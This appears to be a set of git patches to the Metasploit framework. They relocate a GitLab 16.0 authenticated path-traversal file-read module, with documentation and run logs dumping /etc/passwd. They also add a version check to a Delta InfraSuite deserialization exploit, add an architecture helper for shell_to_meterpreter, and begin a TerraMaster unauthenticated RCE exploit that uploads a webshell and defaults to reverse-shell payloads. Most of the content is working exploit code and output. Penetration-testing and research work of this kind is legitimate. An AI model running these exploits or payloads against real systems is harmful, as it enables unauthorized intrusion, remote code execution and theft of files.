"exploit_windows/http/manageengine_adselfservice_plus_cve_2021_40539": { "name": "ManageEngine ADSelfService Plus CVE-2021-40539", "fullname": "exploit/windows/http/manageengine_adselfservice_plus_cve_2021_40539", From 8f3325bcf849dc63dcbef83cd71282588f58ea97 Mon Sep 17 00:00:00 2001 From: h00die Date: Fri, 2 Jun 2023 18:06:44 -0400 Subject: [PATCH 284/415] move gitlab_auth_subgroups to gahter instead of scanner --- ...itlab_authenticated_subgroups_file_read.md | 111 ++++++++++++++ ...itlab_authenticated_subgroups_file_read.md | 135 ------------------ ...itlab_authenticated_subgroups_file_read.rb | 68 ++++++--- 3 files changed, 160 insertions(+), 154 deletions(-) create mode 100644 documentation/modules/auxiliary/gather/gitlab_authenticated_subgroups_file_read.md delete mode 100644 documentation/modules/auxiliary/scanner/http/gitlab_authenticated_subgroups_file_read.md rename modules/auxiliary/{scanner/http => gather}/gitlab_authenticated_subgroups_file_read.rb (77%) diff --git a/documentation/modules/auxiliary/gather/gitlab_authenticated_subgroups_file_read.md b/documentation/modules/auxiliary/gather/gitlab_authenticated_subgroups_file_read.md new file mode 100644 index 0000000000000..f3043b55bd50c --- /dev/null +++ b/documentation/modules/auxiliary/gather/gitlab_authenticated_subgroups_file_read.md @@ -0,0 +1,111 @@ +## Vulnerable Application + +GitLab version 16.0 contains a directory traversal for arbitrary file read +as the `gitlab-www` user. This module requires authentication for exploitation. +In order to use this module, a user must be able to create a project and groups. +When exploiting this vulnerability, there is a direct correlation between the traversal +depth, and the depth of groups the vulnerable project is in. The minimum for this seems +to be `5`, but up to `11` have also been observed. An example of this, is if the directory +traversal needs a depth of `11`, a group +and 10 nested child groups, each a sub of the previous, will be created (adding up to `11`). +Visually this looks like: +`Group1->child1->child2->child3->child4->child5->child6->child7->child8->child9->child10`. +If the depth was `5`, a group and 4 nested child groups would be created. +With all these requirements satisfied a dummy file is uploaded, and the full +traversal is then executed. Cleanup is performed by deleting the first group which +cascades to deleting all other objects created. + +Tested on a Docker image of GitLab 16.0 + +### Install + +A Docker image is available: + +``` +sudo docker run --detach \ + --hostname gitlab.example.com \ + --publish 443:443 --publish 80:80 --publish 22:22 \ + --name gitlab \ + --restart always \ + --volume $GITLAB_HOME/config:/etc/gitlab \ + --volume $GITLAB_HOME/logs:/var/log/gitlab \ + --volume $GITLAB_HOME/data:/var/opt/gitlab \ + --shm-size 256m \ +gitlab/gitlab-ee:16.0.0-ee.0 +``` + +To retrieve the default password: + +``` +sudo docker exec -it gitlab grep 'Password:' /etc/gitlab/initial_root_password[*] Processing gitlab.rb for ERB directives. +resource (gitlab.rb)> use auxiliary/gather/gitlab_authenticated_subgroups_file_read +resource (gitlab.rb)> set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +resource (gitlab.rb)> set username root +username => root +resource (gitlab.rb)> set password 9ADJtW5hHcrTYKDZ2yeQduyHyWuGUk7b9ikV/njVVC4= +password => 9ADJtW5hHcrTYKDZ2yeQduyHyWuGUk7b9ikV/njVVC4= +resource (gitlab.rb)> set verbose true +verbose => true +resource (gitlab.rb)> exploit +[*] Running module against 127.0.0.1 +[+] CSRF Token: dPAr4PTaCuwRU5-j-snq7FfX1V0qh7MoDguHWbUCXCPnwKK3azJXGaF5QxXjRtXkn2_ORLoEt8-NGf59fngrUg +[*] Creating 11 groups +[*] Creating group: GYS2KiLq +[+] CSRF Token: RiloN6gmbtG6kHO55i7i0LFqaN38Bwd_EZCHW2Q9UcLVGeFgN84zJAq6rw__od3YedJzxGyEA5iSgv5_r0cmsw +[*] Creating child group: YzJEBtNX with parent id: 2 +[+] CSRF Token: uSAAt3_f4qbQtpxzkyI-vefpmQhh3vxFtee7I1bmVxUqEIng4De_U2CcQMWKrQG1L1GCEfFd-KI29cIHnZwgZA +[*] Creating child group: kl9AGSEx with parent id: 3 +[+] CSRF Token: ujc-Maz6zilT6D5fPjiq-s0CtVg9CYm43f71Eiu35I0pB7dmMxKT3OPC4uknt5XyBbquQa2KjV9e7Iw24M2T_A +[*] Creating child group: 9QC5nfTB with parent id: 4 +[+] CSRF Token: mkDq3WQ7BdDAfiO_INXVAZ7UOeNPlHXJqx0_0TfqmgwJcGOK-9NYJXBU_wk5WuoJVmwi-t8XcS4oD0b1_JDtfQ +[*] Creating child group: ssHxNX3y with parent id: 5 +[+] CSRF Token: -9mNSwNeTCTQ6EmVxDV4yAq1O7TvVbpvctLZJwO0d4Fo6QQcnLYR0WDClSPdukfAwg0grX_WvojxwKADyM4A8A +[*] Creating child group: w7bktrEs with parent id: 6 +[+] CSRF Token: bnozD-CZzDp00QJ9Fx9pVEcwg6QO_1iykxrRUg17NIH9SrpYf3GRz8T73ssOkFZcj4iYvZ58XFUQCKh2xgFD8A +[*] Creating child group: uU8ELnQm with parent id: 7 +[+] CSRF Token: l57r09_W7GDI5VXVZ5SS0BOatod1-HCZyZj2z3J_Ac8ErmKEQD6xlXjPiWN-G63Y2yKtnuV7dH5Kio_ruQV2vg +[*] Creating child group: o23bujpZ with parent id: 8 +[+] CSRF Token: 81sCdo47UC5diIjdq_uquTFpMwzNDnV-mG9RprW-ACdga4shEdMN2-2iVGuydJWx-dEoFV2NcZkbfSiCfsR3Vg +[*] Creating child group: A3ksDjIZ with parent id: 9 +[+] CSRF Token: SQAMHEjnus9-5Qk-leIXDxLUTDfpD6tfP5fTqgTodezaMIVL1w_nOs7P1YiMbSgH2mxXLnmMr7i8haqOz5ICnQ +[*] Creating child group: fefAYofd with parent id: 10 +[+] CSRF Token: wAeXzAb4bFXWLnys1qQ1HCgXtwPplB9ACCdTliQbWTpTNx6bmRAxoGYEoBrPKwoU4K-sGnkXG6eLNSqy72EuSw +[*] Creating child group: d9ojqIJp with parent id: 11 +[+] CSRF Token: Jmtw9u0oBZ-TbViSBqgoNaj5NI5hxeIhKb9SWtR-TL-1W_mhcsBYaiNHhCQfJxc9YEEvl_FG5saqrSt-HwQ7zg +[*] Creating project WELLohsl +[*] Creating a dummy file in project +[*] Executing dir traversal +[+] root:x:0:0:root:/root:/bin/bash +daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin +bin:x:2:2:bin:/bin:/usr/sbin/nologin +sys:x:3:3:sys:/dev:/usr/sbin/nologin +sync:x:4:65534:sync:/bin:/bin/sync +games:x:5:60:games:/usr/games:/usr/sbin/nologin +man:x:6:12:man:/var/cache/man:/usr/sbin/nologin +lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin +mail:x:8:8:mail:/var/mail:/usr/sbin/nologin +news:x:9:9:news:/var/spool/news:/usr/sbin/nologin +uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin +proxy:x:13:13:proxy:/bin:/usr/sbin/nologin +www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin +backup:x:34:34:backup:/var/backups:/usr/sbin/nologin +list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin +irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin +gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin +nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin +_apt:x:100:65534::/nonexistent:/usr/sbin/nologin +sshd:x:101:65534::/run/sshd:/usr/sbin/nologin +git:x:998:998::/var/opt/gitlab:/bin/sh +gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false +gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false +gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh +mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh +registry:x:993:993::/var/opt/gitlab/registry:/bin/sh +gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh +gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh + +[+] /etc/passwd saved to /root/.msf4/loot/20230602160435_default_127.0.0.1_GitLabfile_635783.txt +[*] Deleting group GYS2KiLq +[*] Auxiliary module execution completed +``` diff --git a/documentation/modules/auxiliary/scanner/http/gitlab_authenticated_subgroups_file_read.md b/documentation/modules/auxiliary/scanner/http/gitlab_authenticated_subgroups_file_read.md deleted file mode 100644 index a7b138ebb988d..0000000000000 --- a/documentation/modules/auxiliary/scanner/http/gitlab_authenticated_subgroups_file_read.md +++ /dev/null @@ -1,135 +0,0 @@ -## Vulnerable Application - -GitLab version 16.0 contains an authenticated directory traversal for arbitrary file read as the `gitlab` user. -In order to exploit this vulnerability, a user must be able to create a project and groups. -When exploiting this vulnerability, a group (or subgroup under the group) must be created -for each level of the traversal. If the depth is 11 for the dir traversal, then a group -and 10 sub-groups will be created. Lastly a project is created for that subgroup. -With all these requirements satisfied a dummy file is uploaded, and the full -traversal is then executed. Cleanup is performed by deleting the first group which -cascades to deleting all other objects created. - -Tested on a Docker image of GitLab 16.0 - -### Install - -A Docker image is available: - -``` -sudo docker run --detach \ - --hostname gitlab.example.com \ - --publish 443:443 --publish 80:80 --publish 22:22 \ - --name gitlab \ - --restart always \ - --volume $GITLAB_HOME/config:/etc/gitlab \ - --volume $GITLAB_HOME/logs:/var/log/gitlab \ - --volume $GITLAB_HOME/data:/var/opt/gitlab \ - --shm-size 256m \ -gitlab/gitlab-ee:16.0.0-ee.0 -``` - -To retrieve the default password: - -``` -sudo docker exec -it gitlab grep 'Password:' /etc/gitlab/initial_root_password -``` - -## Verification Steps - -1. Install the application -1. Start msfconsole -1. Do: `use auxiliary/scanner/http/gitlab_authenticated_subgroups_file_read` -1. Do: `set rhosts [ip]` -1. Do: `set username [username]` -1. DO: `set password [password]` -1. Do: `run` -1. You should be able to read an arbitrary file. - -## Options - -### DEPTH - -Depth for path traversal (also groups creation). 11 seems pretty safe but it may work with less. Defaults to `11`. - -### FILE - -File to read. Defaults to `/etc/passwd` - -## Scenarios - -### Docker GitLab 16.0 - -``` -msf6 > use auxiliary/scanner/http/gitlab_subgroups_file_read -[*] Using auxiliary/scanner/http/gitlab_subgroups_file_read -msf6 auxiliary(scanner/http/gitlab_subgroups_file_read) > set rhosts 127.0.0.1 -rhosts => 127.0.0.1 -msf6 auxiliary(scanner/http/gitlab_subgroups_file_read) > set username root -username => root -msf6 auxiliary(scanner/http/gitlab_subgroups_file_read) > set password r6eh7UfeWsEKuK4cJJP+dJ79X4xwmNMOHN6mBKSyd2s= -password => r6eh7UfeWsEKuK4cJJP+dJ79X4xwmNMOHN6mBKSyd2s= -msf6 auxiliary(scanner/http/gitlab_subgroups_file_read) > set verbose true -verbose => true -msf6 auxiliary(scanner/http/gitlab_subgroups_file_read) > exploit - -[+] CSRF Token: wYYZ0Q1TnrrZmqwpAk707emZcXsIlzMawZ7s-HycVHmo668JVMqDb-R8NCVTVEMNlDAWbrIwngXKSH2wWtURzQ -[*] Creating 11 groups -[*] Creating group: OqJVwVlC with parent id: -[+] CSRF Token: 8X7OT15TxpI36rOIu-ghgVbodK8fRl4Lz-3fqaNH_MmYE3iXB8rbRwoMK4Tq8pZhK0ETuqXh8xTEO07hhQ65fQ -[*] Creating group: 5hYTGpp8 with parent id: 2 -[+] CSRF Token: PNnNU0R5iB-57xVW20dBD0FKfb1yMw15tjvHCZICyG9VtHuLHeCVyoQJjVqKXfbvPOMaqMiUoGa97VZBtEuN2w -[*] Creating group: XlpSkZKQ with parent id: 3 -[+] CSRF Token: nS0eZJb7gVQM6-HYRPpj14MBhIq4WoObZOFASPC_F1b0QKi8z2KcgTENedQV4NQ3_qjjnwL9LoRvN9EA1vZS4g -[*] Creating group: KQCk8adK with parent id: 4 -[+] CSRF Token: yr8EaL1nQdm9aIhpGca1Ay8u2m3oLGqAk_BO23hw02Sj0rKw5P5cDICOEGVI3ALjUoe9eFKLx5-YJt-TXjmW0A -[*] Creating group: xg9hUYPo with parent id: 5 -[+] CSRF Token: 5wYo0n-rkMKFMRGlFyjN6knw71WIBDIUUjyLLDSE9UmOa54KJjKNF7jXialGMnoKNFmIQDKjnwtZ6hpkEs2w_Q -[*] Creating group: cNrX6LHf with parent id: 6 -[+] CSRF Token: Z4IipgGhLQixQu8cbyNznk2pIj0udxMCgGKHaEzqkw4O75R-WDgw3YykdxA-OcR-MABFKJTQvh2LtBYgaqPWug -[*] Creating group: Mg4MESRy with parent id: 7 -[+] CSRF Token: 4g209zNkQLg2Mf4RPMsSOjIGD-f2jaJrP_Fa4iYQRLaLYAIvav1dbQvXZh1t0aXaT69o8kwqD3Q0J8uqAFkBAg -[*] Creating group: 7b2cIgyZ with parent id: 8 -[+] CSRF Token: MbKcsl5RuiynfU8JyJ1iT_mBKKqfAWpuM7LEVjTTmPBY3ypqB8in-Zqb1wWZh9WvhChPvyWmx3E4ZFUeEprdRA -[*] Creating group: EDkbB7Mw with parent id: 9 -[+] CSRF Token: FbcBF0FcEy1vhn-ahOLHgz5wPx952kmwDNT2Qfte-Ud82rfPGMUO-FJg55bV-HBjQ9lYCsN95K8HAmcJ3Re88w -[*] Creating group: 4L2kbTKx with parent id: 10 -[+] CSRF Token: iSsK-buEQzOnykZ_DmtRo2_4RV6HSix8nLEpDN9WeSjgRrwh4h1e5pos3nNfceZDElEiSz3tgWOXZ7hE-R88nA -[*] Creating group: UrW6NUYW with parent id: 11 -[+] CSRF Token: _Md66xoUbGn3lOKAkgDR9p30KKPH6sDEBckrOfE8LNaVqswzQ41xvMpyeozDGmYW4F1Ptn1NbdsOH7px13VpYg -[*] Creating project 8tXCf26j -[*] Creating a dummy file in project -[*] Executing dir traversal -[+] root:x:0:0:root:/root:/bin/bash -daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin -bin:x:2:2:bin:/bin:/usr/sbin/nologin -sys:x:3:3:sys:/dev:/usr/sbin/nologin -sync:x:4:65534:sync:/bin:/bin/sync -games:x:5:60:games:/usr/games:/usr/sbin/nologin -man:x:6:12:man:/var/cache/man:/usr/sbin/nologin -lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin -mail:x:8:8:mail:/var/mail:/usr/sbin/nologin -news:x:9:9:news:/var/spool/news:/usr/sbin/nologin -uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin -proxy:x:13:13:proxy:/bin:/usr/sbin/nologin -www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin -backup:x:34:34:backup:/var/backups:/usr/sbin/nologin -list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin -irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin -gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin -nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin -_apt:x:100:65534::/nonexistent:/usr/sbin/nologin -sshd:x:101:65534::/run/sshd:/usr/sbin/nologin -git:x:998:998::/var/opt/gitlab:/bin/sh -gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false -gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false -gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh -mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh -registry:x:993:993::/var/opt/gitlab/registry:/bin/sh -gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh -gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh - -[+] /etc/passwd saved to /root/.msf4/loot/20230529000533_default_127.0.0.1_Gitlabfile_212326.txt -[*] Deleting group OqJVwVlC -[*] Scanned 1 of 1 hosts (100% complete) -[*] Auxiliary module execution completed -``` diff --git a/modules/auxiliary/scanner/http/gitlab_authenticated_subgroups_file_read.rb b/modules/auxiliary/gather/gitlab_authenticated_subgroups_file_read.rb similarity index 77% rename from modules/auxiliary/scanner/http/gitlab_authenticated_subgroups_file_read.rb rename to modules/auxiliary/gather/gitlab_authenticated_subgroups_file_read.rb index 1697ed8d33adf..67493f9708f49 100644 --- a/modules/auxiliary/scanner/http/gitlab_authenticated_subgroups_file_read.rb +++ b/modules/auxiliary/gather/gitlab_authenticated_subgroups_file_read.rb @@ -6,7 +6,6 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HTTP::Gitlab - include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report attr_accessor :cookie @@ -17,11 +16,17 @@ def initialize(info = {}) info, 'Name' => 'GitLab Authenticated File Read', 'Description' => %q{ - Gitlab version 16.0 contains an authenticated directory traversal for arbitrary file read as the gitlab user. - In order to exploit this vulnerability, a user must be able to create a project and groups. - When exploiting this vulnerability, a group (or subgroup under the group) must be created - for each level of the traversal. If the depth is 11 for the dir traversal, then a group - and 10 sub-groups will be created. Lastly a project is created for that subgroup. + GitLab version 16.0 contains a directory traversal for arbitrary file read + as the `gitlab-www` user. This module requires authentication for exploitation. + In order to use this module, a user must be able to create a project and groups. + When exploiting this vulnerability, there is a direct correlation between the traversal + depth, and the depth of groups the vulnerable project is in. The minimum for this seems + to be 5, but up to 11 have also been observed. An example of this, is if the directory + traversal needs a depth of 11, a group + and 10 nested child groups, each a sub of the previous, will be created (adding up to 11). + Visually this looks like: + Group1->sub1->sub2->sub3->sub4->sub5->sub6->sub7->sub8->sub9->sub10. + If the depth was 5, a group and 4 nested child groups would be created. With all these requirements satisfied a dummy file is uploaded, and the full traversal is then executed. Cleanup is performed by deleting the first group which cascades to deleting all other objects created. @@ -52,18 +57,26 @@ def initialize(info = {}) OptString.new('USERNAME', [true, 'The username to authenticate as', nil]), OptString.new('PASSWORD', [true, 'The password for the specified username', nil]), OptInt.new('DEPTH', [ true, 'Depth for Path Traversal (also groups creation)', 11]), - OptString.new('File', [true, 'File to read', '/etc/passwd']) + OptString.new('FILE', [true, 'File to read', '/etc/passwd']) ] ) deregister_options('GIT_URI') end def get_csrf(body) + if body.empty? + fail_with(Failure::UnexpectedReply, "HTML response had an empty body, couldn't find CSRF, unable to continue") + end + body =~ /"csrf-token" content="([^"]+)"/ + + if ::Regexp.last_match(1).nil? + fail_with(Failure::UnexpectedReply, 'CSRF token not found in response, unable to continue') + end ::Regexp.last_match(1) end - def check_host(_ip) + def check # check method almost entirely borrowed from gitlab_github_import_rce_cve_2022_2992 self.cookie = gitlab_sign_in(datastore['USERNAME'], datastore['PASSWORD']) unless cookie @@ -91,8 +104,17 @@ def check_host(_ip) return Exploit::CheckCode::Unknown("#{e.class} - #{e.message}") end - def run_host(ip) - self.cookie = gitlab_sign_in(datastore['USERNAME'], datastore['PASSWORD']) unless cookie + def run + if datastore['DEPTH'] < 5 + print_bad('A DEPTH of < 5 is unlikely to succeed as almost all observed installs require 5-11 depth.') + end + + begin + self.cookie = gitlab_sign_in(datastore['USERNAME'], datastore['PASSWORD']) unless cookie + rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::AuthenticationError + fail_with(Failure::NoAccess, 'Unable to authenticate, check credentials') + end + fail_with(Failure::NoAccess, 'Unable to retrieve cookie') if cookie.nil? # get our csrf token @@ -110,8 +132,12 @@ def run_host(ip) first_group = '' (1..datastore['DEPTH']).each do |_| name = Rex::Text.rand_text_alphanumeric(8, 10) - first_group = name if first_group.empty? - vprint_status("Creating group: #{name} with parent id: #{parent_id}") + if first_group.empty? + first_group = name + vprint_status("Creating group: #{name}") + else + vprint_status("Creating child group: #{name} with parent id: #{parent_id}") + end # a success will give a 302 and direct us to / res = send_request_cgi!({ 'uri' => normalize_uri(target_uri.path, 'groups'), @@ -156,9 +182,10 @@ def run_host(ip) }) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 302 - csrf_token = get_csrf(res.body) + # csrf_token = get_csrf(res.body) + + project_id = URI(res.headers['Location']).path - project_id = res.headers['Location'].to_s.split('/')[3..].join('/') # strip off http[s]://ip/, seems like there should be a better way to do this though res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, project_id) }) @@ -185,7 +212,10 @@ def run_host(ip) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200 res = res.get_json_document - file_url = res['link']['url'] + file_url = res.dig('link', 'url') + if file_url.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Unable to determine file upload URL, possible permissions issue") + end # remove our file name file_url = file_url.gsub("/#{file_name}", '') @@ -206,12 +236,12 @@ def run_host(ip) print_error("#{peer} - Unexpected response code (#{res.code})") # don't fail_with so we can cleanup end - if !res.body.empty? && res.code == 200 + if res.body.empty? + print_error('Response has 0 size.') + elsif res.code == 200 print_good(res.body) - loot_path = store_loot('Gitlab file', 'text/plain', ip, res.body, datastore['FILE']) + loot_path = store_loot('GitLab file', 'text/plain', datastore['RHOST'], res.body, datastore['FILE']) print_good("#{datastore['FILE']} saved to #{loot_path}") - elsif res.body.empty? - print_error('Response has 0 size.') else print_error('Bad response, initiating cleanup') end From 1c5f8e09c8ae7d43aabc33daeb16e389f496b6a9 Mon Sep 17 00:00:00 2001 From: space-r7 Date: Fri, 2 Jun 2023 17:59:04 -0500 Subject: [PATCH 285/415] add check method and new options --- ..._electronics_infrasuite_deserialization.rb | 46 +++++++++++++++++-- 1 file changed, 43 insertions(+), 3 deletions(-) diff --git a/modules/exploits/windows/misc/delta_electronics_infrasuite_deserialization.rb b/modules/exploits/windows/misc/delta_electronics_infrasuite_deserialization.rb index fedef6eed7784..d5d3999898afd 100644 --- a/modules/exploits/windows/misc/delta_electronics_infrasuite_deserialization.rb +++ b/modules/exploits/windows/misc/delta_electronics_infrasuite_deserialization.rb @@ -5,7 +5,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Exploit::Powershell + include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::Udp prepend Msf::Exploit::Remote::AutoCheck @@ -54,11 +54,51 @@ def initialize(info = {}) ) ) - register_options([ Opt::RPORT(10100) ]) + register_options([ + Opt::RPORT(10100), + OptInt.new('INFRASUITE_PORT', [ true, 'The port on which the InfraSuite Manager is listening', 80 ]), + OptString.new('TARGETURI', [ true, 'The base path to the InfraSuite Manager', '/' ]) + ]) end def check - CheckCode::Vulnerable + # js/webcfg.js - contains some version information + print_status('Requesting the login page to determine if target is Infrasuite Device Master...') + res = send_request_cgi( + 'method' => 'GET', + 'rport' => datastore['INFRASUITE_PORT'], + 'uri' => normalize_uri(target_uri.path, 'login.html') + ) + + return CheckCode::Unknown unless res + + unless res.body.include?('InfraSuite Manager Login') + return CheckCode::Safe('Target does not appear to be InfraSuite Device Master.') + end + + print_status('Target is InfraSuite Device Master. Now attempting to determine version.') + res = send_request_cgi( + 'method' => 'GET', + 'rport' => datastore['INFRASUITE_PORT'], + 'uri' => normalize_uri(target_uri.path, 'js/webcfg.js') + ) + + unless res&.body&.include?('var devicemasterCfg') + return CheckCode::Detected('Discovered InfraSuite Device Master, but couldn\'t determine version.') + end + + version = res.body.match(/version:'(\d+(\.\d+)+[a-zA-Z]?)'/) + unless version && version.length > 1 + return CheckCode::Detected('Failed to find version string') + end + + version = version[1] + vprint_status("Found version '#{version}' of InfraSuite Device Master") + r_vers = Rex::Version.new(version) + + return CheckCode::Appears if r_vers < Rex::Version.new('1.0.5') + + CheckCode::Safe end def exploit From 795980260b289d59a1c387ae064b871e440c3ef1 Mon Sep 17 00:00:00 2001 From: Ashley Donaldson Date: Fri, 2 Jun 2023 13:11:12 +1000 Subject: [PATCH 286/415] Created mixin to retrieve the architecture of the current shell. Currently only supports Windows, but does work on Win2000 upwards. --- lib/msf/core/post/architecture.rb | 52 +++++++++++++++++++ .../post/multi/manage/shell_to_meterpreter.rb | 11 ++-- 2 files changed, 58 insertions(+), 5 deletions(-) create mode 100644 lib/msf/core/post/architecture.rb diff --git a/lib/msf/core/post/architecture.rb b/lib/msf/core/post/architecture.rb new file mode 100644 index 0000000000000..e3b2ab6a0dd35 --- /dev/null +++ b/lib/msf/core/post/architecture.rb @@ -0,0 +1,52 @@ +# -*- coding: binary -*- + +module Msf::Post::Architecture + + def initialize(info = {}) + super( + update_info( + info, + 'Compat' => { + 'Meterpreter' => { + 'Commands' => %w[ + stdapi_railgun_api + ] + } + } + ) + ) + end + + def get_os_architecture + result = get_os_architecture_impl + if result.nil? + end + + result + end + + def get_os_architecture_impl + if session.type == 'meterpreter' + return sysinfo['Architecture'] + else + case session.platform + when 'windows', 'win' + # Check for 32-bit process on 64-bit arch + arch = get_env('PROCESSOR_ARCHITEW6432') + if arch.strip.empty? or arch =~ /PROCESSOR_ARCHITEW6432/ + arch = get_env('PROCESSOR_ARCHITECTURE') + end + if arch =~ /AMD64/m + return ARCH_X64 + elsif arch =~ /86/m + return ARCH_X86 + elsif arch =~ /ARM64/m + return ARCH_AARCH64 + else + print_error('Target is running Windows on an unsupported architecture!') + return nil + end + end + end + end +end \ No newline at end of file diff --git a/modules/post/multi/manage/shell_to_meterpreter.rb b/modules/post/multi/manage/shell_to_meterpreter.rb index 44db437655221..3bdac9b598015 100644 --- a/modules/post/multi/manage/shell_to_meterpreter.rb +++ b/modules/post/multi/manage/shell_to_meterpreter.rb @@ -6,6 +6,7 @@ class MetasploitModule < Msf::Post include Exploit::Powershell + include Post::Architecture include Post::Windows::Powershell def initialize(info = {}) @@ -84,19 +85,19 @@ def run when 'windows', 'win' platform = 'windows' lplat = [Msf::Platform::Windows] - arch = cmd_exec('wmic os get osarchitecture') - if arch =~ /64-bit/m + arch = get_os_architecture + case arch + when ARCH_X64 payload_name = 'windows/x64/meterpreter/reverse_tcp' - larch = [ARCH_X64] psh_arch = 'x64' - elsif arch =~ /32-bit/m + when ARCH_X86 payload_name = 'windows/meterpreter/reverse_tcp' - larch = [ARCH_X86] psh_arch = 'x86' else print_error('Target is running Windows on an unsupported architecture such as Windows ARM!') return nil end + larch = [arch] vprint_status('Platform: Windows') when 'osx' platform = 'osx' From 07def1c9f0812ebf1e7887c241ea52d3b670d81d Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Mon, 5 Jun 2023 11:19:42 +0000 Subject: [PATCH 287/415] init commit module --- .../terramaster_unauth_rce_cve_2020_35665.rb | 212 ++++++++++++++++++ 1 file changed, 212 insertions(+) create mode 100644 modules/exploits/linux/http/terramaster_unauth_rce_cve_2020_35665.rb diff --git a/modules/exploits/linux/http/terramaster_unauth_rce_cve_2020_35665.rb b/modules/exploits/linux/http/terramaster_unauth_rce_cve_2020_35665.rb new file mode 100644 index 0000000000000..aae0219340bdf --- /dev/null +++ b/modules/exploits/linux/http/terramaster_unauth_rce_cve_2020_35665.rb @@ -0,0 +1,212 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + include Msf::Exploit::FileDropper + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'TerraMaster TOS 4.2.06 or lower - Unauthenticated Remote Code Execution', + 'Description' => %q{ + This module exploits an unauthenticated remote code-execution vulnerability in TerraMaster TOS 4.2.06 + and lower via shell metacharacters in the Event parameter at vulnerable endpoint `include/makecvs.php` + during CSV creation. + Any unauthenticated user can therefore execute commands on the system under the same privileges as the + web application, which typically runs under root at the TerraMaster Operating System. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die-gr3y ', # MSF module contributor + 'IHTeam' # Discovery + ], + 'References' => [ + ['CVE', '2020-35665'], + ['CVE', '2020-28188'], + ['PACKETSTORM', '160685'], + ['PACKETSTORM', '160687'], + ['URL', 'https://www.ihteam.net/advisory/terramaster-tos-multiple-vulnerabilities/'], + ['URL', 'https://attackerkb.com/topics/lXY4yjOvwx/cve-2020-35665'] + ], + 'DisclosureDate' => '2020-12-12', + 'Platform' => ['unix', 'linux'], + 'Arch' => [ARCH_CMD, ARCH_PHP, ARCH_X64, ARCH_X86, ARCH_AARCH64], + 'Privileged' => false, + 'Targets' => [ + [ + 'PHP', + { + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Type' => :php, + 'DefaultOptions' => { + 'PAYLOAD' => 'php/meterpreter/reverse_tcp' + } + } + ], + [ + 'Unix Command', + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Type' => :unix_cmd, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/unix/reverse_bash' + } + } + ], + [ + 'Linux Dropper', + { + 'Platform' => 'linux', + 'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64], + 'Type' => :linux_dropper, + 'CmdStagerFlavor' => ['wget', 'curl', 'printf', 'echo', 'bourne'], + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' + } + } + ] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'RPORT' => 8181, + 'SSL' => false + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] + } + ) + ) + register_options([ + OptString.new('TARGETURI', [true, 'Path to Terramaster Web console', '/']), + OptString.new('WEBSHELL', [false, 'Web shell name with extension .php. Name will be randomly generated if left unset.', nil]), + OptEnum.new('COMMAND', + [true, 'Use PHP command function', 'passthru', %w[passthru shell_exec system exec]], conditions: %w[TARGET != 0]) + ]) + end + + def upload_webshell + # randomize file name and extension if option WEBSHELL is not set + file_ext = %w[php] + @webshell_name = if datastore['WEBSHELL'].blank? + "#{Rex::Text.rand_text_alpha(8..16)}.#{file_ext.sample}" + else + datastore['WEBSHELL'].to_s + end + + @post_param = Rex::Text.rand_text_alphanumeric(1..8) + @get_param = 